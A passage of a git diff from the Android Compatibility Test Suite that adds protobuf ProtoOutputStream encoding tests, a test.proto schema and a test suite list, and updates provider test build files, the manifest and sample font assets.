+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x2a,
+                (byte)0x0a,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+
+                // 6 -> Long.MIN_VALUE
+                (byte)0x32,
+                (byte)0x14,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x01,
+
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x01,
+
+                // 7 -> Long.MAX_VALUE
+                (byte)0x3a,
+                (byte)0x12,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new long[] {});
+        testPackedCompat(new long[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,
+                Long.MIN_VALUE, Long.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testPackedUInt64Compat with a given value.
+     */
+    public void testPackedCompat(long[] val) throws Exception {
+        final int fieldId = 62;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_UINT64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.uint64FieldPacked = val;
+        po.writePackedUInt64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        Assert.assertArrayEquals(val, readback.uint64FieldPacked);
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeUInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeUInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_UINT64), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_UINT64), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Packed
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedUInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new long[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedUInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT64),
+                    new long[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoTests.java b/tests/tests/proto/src/android/util/proto/cts/ProtoTests.java
new file mode 100644
index 0000000..1802fd0
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoTests.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import junit.framework.TestSuite;
+
+public class ProtoTests {
+    public static TestSuite suite() {
+        TestSuite suite = new TestSuite(ProtoTests.class.getName());
+
+        suite.addTestSuite(EncodedBufferTest.class);
+        suite.addTestSuite(ProtoOutputStreamTagTest.class);
+        suite.addTestSuite(ProtoOutputStreamDoubleTest.class);
+        suite.addTestSuite(ProtoOutputStreamFloatTest.class);
+        suite.addTestSuite(ProtoOutputStreamInt32Test.class);
+        suite.addTestSuite(ProtoOutputStreamInt64Test.class);
+        suite.addTestSuite(ProtoOutputStreamUInt32Test.class);
+        suite.addTestSuite(ProtoOutputStreamUInt64Test.class);
+        suite.addTestSuite(ProtoOutputStreamSInt32Test.class);
+        suite.addTestSuite(ProtoOutputStreamSInt64Test.class);
+        suite.addTestSuite(ProtoOutputStreamFixed32Test.class);
+        suite.addTestSuite(ProtoOutputStreamFixed64Test.class);
+        suite.addTestSuite(ProtoOutputStreamSFixed32Test.class);
+        suite.addTestSuite(ProtoOutputStreamSFixed64Test.class);
+        suite.addTestSuite(ProtoOutputStreamBoolTest.class);
+        suite.addTestSuite(ProtoOutputStreamStringTest.class);
+        suite.addTestSuite(ProtoOutputStreamBytesTest.class);
+        suite.addTestSuite(ProtoOutputStreamEnumTest.class);
+        suite.addTestSuite(ProtoOutputStreamObjectTest.class);
+
+        return suite;
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/test.proto b/tests/tests/proto/src/android/util/proto/cts/test.proto
new file mode 100644
index 0000000..7ea8d97
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/test.proto
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+syntax = "proto2";
+
+package android.util.proto.cts;
+
+/**
+ * Enum that outside the scope of any classes.
+ */
+enum Outside {
+    OUTSIDE_0 = 0;
+    OUTSIDE_1 = 1;
+};
+
+/**
+ * Message that is recursive.
+ */
+message Nested {
+    optional int32 data = 10001;
+    optional Nested nested = 10002;
+};
+
+/**
+ * Message with all of the field types.
+ */
+message All {
+    /**
+     * Enum that is inside the scope of a class.
+     */
+    enum Inside {
+        option allow_alias = true;
+        INSIDE_0 = 0;
+        INSIDE_1 = 1;
+        INSIDE_1A = 1;
+    };
+
+    optional double double_field = 10;
+    repeated double double_field_repeated = 11;
+    repeated double double_field_packed = 12 [packed=true];
+
+    optional float float_field = 20;
+    repeated float float_field_repeated = 21;
+    repeated float float_field_packed = 22 [packed=true];
+
+    optional int32 int32_field = 30;
+    repeated int32 int32_field_repeated = 31;
+    repeated int32 int32_field_packed = 32 [packed=true];
+
+    optional int64 int64_field = 40;
+    repeated int64 int64_field_repeated = 41;
+    repeated int64 int64_field_packed = 42 [packed=true];
+
+    optional uint32 uint32_field = 50;
+    repeated uint32 uint32_field_repeated = 51;
+    repeated uint32 uint32_field_packed = 52 [packed=true];
+
+    optional uint64 uint64_field = 60;
+    repeated uint64 uint64_field_repeated = 61;
+    repeated uint64 uint64_field_packed = 62 [packed=true];
+
+    optional sint32 sint32_field = 70;
+    repeated sint32 sint32_field_repeated = 71;
+    repeated sint32 sint32_field_packed = 72 [packed=true];
+
+    optional sint64 sint64_field = 80;
+    repeated sint64 sint64_field_repeated = 81;
+    repeated sint64 sint64_field_packed = 82 [packed=true];
+
+    optional fixed32 fixed32_field = 90;
+    repeated fixed32 fixed32_field_repeated = 91;
+    repeated fixed32 fixed32_field_packed = 92 [packed=true];
+
+    optional fixed64 fixed64_field = 100;
+    repeated fixed64 fixed64_field_repeated = 101;
+    repeated fixed64 fixed64_field_packed = 102 [packed=true];
+
+    optional sfixed32 sfixed32_field = 110;
+    repeated sfixed32 sfixed32_field_repeated = 111;
+    repeated sfixed32 sfixed32_field_packed = 112 [packed=true];
+
+    optional sfixed64 sfixed64_field = 120;
+    repeated sfixed64 sfixed64_field_repeated = 121;
+    repeated sfixed64 sfixed64_field_packed = 122 [packed=true];
+
+    optional bool bool_field = 130;
+    repeated bool bool_field_repeated = 131;
+    repeated bool bool_field_packed = 132 [packed=true];
+
+    optional string string_field = 140;
+    repeated string string_field_repeated = 141;
+
+    optional bytes bytes_field = 150;
+    repeated bytes bytes_field_repeated = 151;
+
+    optional Outside outside_field = 160;
+    repeated Outside outside_field_repeated = 161;
+    repeated Outside outside_field_packed = 162 [packed=true];
+
+    optional Nested nested_field = 170;
+    repeated Nested nested_field_repeated = 171;
+};
diff --git a/tests/tests/provider/Android.mk b/tests/tests/provider/Android.mk
index 539a799..9f1c1da 100644
--- a/tests/tests/provider/Android.mk
+++ b/tests/tests/provider/Android.mk
@@ -28,10 +28,14 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_JAVA_LIBRARIES := android.test.runner telephony-common
+LOCAL_JAVA_LIBRARIES := android.test.mock legacy-android-test telephony-common
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsdeviceutil ctstestrunner junit legacy-android-test
+    android-support-v4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    junit
 
 LOCAL_JNI_SHARED_LIBRARIES := libcts_jni libnativehelper_compat_libc++
 
diff --git a/tests/tests/provider/AndroidManifest.xml b/tests/tests/provider/AndroidManifest.xml
index aadddb5..380ddd0 100644
--- a/tests/tests/provider/AndroidManifest.xml
+++ b/tests/tests/provider/AndroidManifest.xml
@@ -20,7 +20,8 @@
 
     <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="21" />
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
     <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
     <uses-permission android:name="android.permission.USE_CREDENTIALS" />
@@ -32,6 +33,8 @@
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.WRITE_SETTINGS" />
     <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
+    <uses-permission android:name="com.android.voicemail.permission.WRITE_VOICEMAIL" />
+    <uses-permission android:name="com.android.voicemail.permission.READ_VOICEMAIL" />
     <uses-permission android:name="android.permission.WRITE_CALL_LOG" />
     <uses-permission android:name="android.permission.WRITE_CONTACTS" />
     <uses-permission android:name="android.permission.READ_CALL_LOG" />
@@ -39,7 +42,6 @@
     <uses-permission android:name="android.permission.READ_SMS" />
     <uses-permission android:name="android.permission.WRITE_SMS" />
 
-
     <application>
         <uses-library android:name="android.test.runner"/>
 
@@ -51,6 +53,8 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.provider.cts.GetResultActivity" />
+
         <service android:name="android.provider.cts.contacts.account.MockAccountService"
                  process="android.provider.cts"
                  android:exported="true">
@@ -71,6 +75,48 @@
             <meta-data android:name="android.view.im"
                        android:resource="@xml/method" />
         </service>
+
+        <provider
+            android:name=".contacts.DummyGalProvider"
+            android:authorities="android.provider.cts.contacts.dgp"
+            android:exported="true"
+            android:readPermission="android.permission.BIND_DIRECTORY_SEARCH" >
+            <meta-data android:name="android.content.ContactDirectory" android:value="true" />
+        </provider>
+
+        <provider android:name="android.support.v4.content.FileProvider"
+            android:authorities="android.provider.cts.fileprovider"
+            android:grantUriPermissions="true">
+            <meta-data
+                android:name="android.support.FILE_PROVIDER_PATHS"
+                android:resource="@xml/file_paths" />
+        </provider>
+        <provider android:name="android.provider.cts.MockFontProvider"
+                  android:authorities="android.provider.fonts.cts.font"
+                  android:exported="false"
+                  android:multiprocess="true" />
+
+        <service
+            android:name="android.provider.cts.contacts.StubInCallService"
+            android:permission="android.permission.BIND_INCALL_SERVICE">
+            <intent-filter>
+                <action android:name="android.telecom.InCallService"/>
+            </intent-filter>
+            <meta-data
+                android:name="android.telecom.IN_CALL_SERVICE_UI"
+                android:value="true"/>
+        </service>
+
+        <activity android:name="android.provider.cts.contacts.StubDialerActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL"/>
+                <data android:scheme="tel"/>
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL"/>
+            </intent-filter>
+        </activity>
+
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/provider/AndroidTest.xml b/tests/tests/provider/AndroidTest.xml
index 4c87f9c..57198a8 100644
--- a/tests/tests/provider/AndroidTest.xml
+++ b/tests/tests/provider/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Provider test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsProviderTestCases.apk" />
     </target_preparer>
@@ -22,4 +23,4 @@
         <option name="package" value="android.provider.cts" />
         <option name="runtime-hint" value="7m19s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/provider/assets/samplefont.ttc b/tests/tests/provider/assets/samplefont.ttc
new file mode 100644
index 0000000..69c57e0
--- /dev/null
+++ b/tests/tests/provider/assets/samplefont.ttc
Binary files differ
diff --git a/tests/tests/provider/assets/samplefont1.ttf b/tests/tests/provider/assets/samplefont1.ttf
new file mode 100644
index 0000000..020436a
--- /dev/null
+++ b/tests/tests/provider/assets/samplefont1.ttf
Binary files differ
diff --git a/tests/tests/provider/assets/samplefont1.ttx b/tests/tests/provider/assets/samplefont1.ttx
new file mode 100644
index 0000000..40fa268
--- /dev/null
+++ b/tests/tests/provider/assets/samplefont1.ttx
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/provider/assets/samplefont2.ttf b/tests/tests/provider/assets/samplefont2.ttf
new file mode 100644
index 0000000..491540f
--- /dev/null
+++ b/tests/tests/provider/assets/samplefont2.ttf
Binary files differ
diff --git a/tests/tests/provider/assets/samplefont2.ttx b/tests/tests/provider/assets/samplefont2.ttx
new file mode 100644
index 0000000..40fa268
--- /dev/null
+++ b/tests/tests/provider/assets/samplefont2.ttx
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/provider/assets/samplefont_names.txt b/tests/tests/provider/assets/samplefont_names.txt
new file mode 100644
index 0000000..79cb4c7
--- /dev/null
+++ b/tests/tests/provider/assets/samplefont_names.txt
@@ -0,0 +1,2 @@
+samplefont1.ttf
+samplefont2.ttf
\ No newline at end of file
diff --git a/tests/tests/provider/res/xml/file_paths.xml b/tests/tests/provider/res/xml/file_paths.xml
new file mode 100644
index 0000000..486e87c
--- /dev/null
+++ b/tests/tests/provider/res/xml/file_paths.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<paths xmlns:android="http://schemas.android.com/apk/res/android">
+    <files-path name="debug" path="debug/" />
+</paths>
diff --git a/tests/tests/provider/src/android/provider/cts/CalendarTest.java b/tests/tests/provider/src/android/provider/cts/CalendarTest.java
index df31a19..8db5e45 100644
--- a/tests/tests/provider/src/android/provider/cts/CalendarTest.java
+++ b/tests/tests/provider/src/android/provider/cts/CalendarTest.java
@@ -25,7 +25,6 @@
 import android.content.EntityIterator;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.cts.util.PollingCheck;
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Bundle;
@@ -48,6 +47,8 @@
 import android.text.format.Time;
 import android.util.Log;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.util.ArrayList;
 import java.util.HashSet;
 import java.util.List;
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContractIntentsTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContractIntentsTest.java
deleted file mode 100644
index cecd973..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContractIntentsTest.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
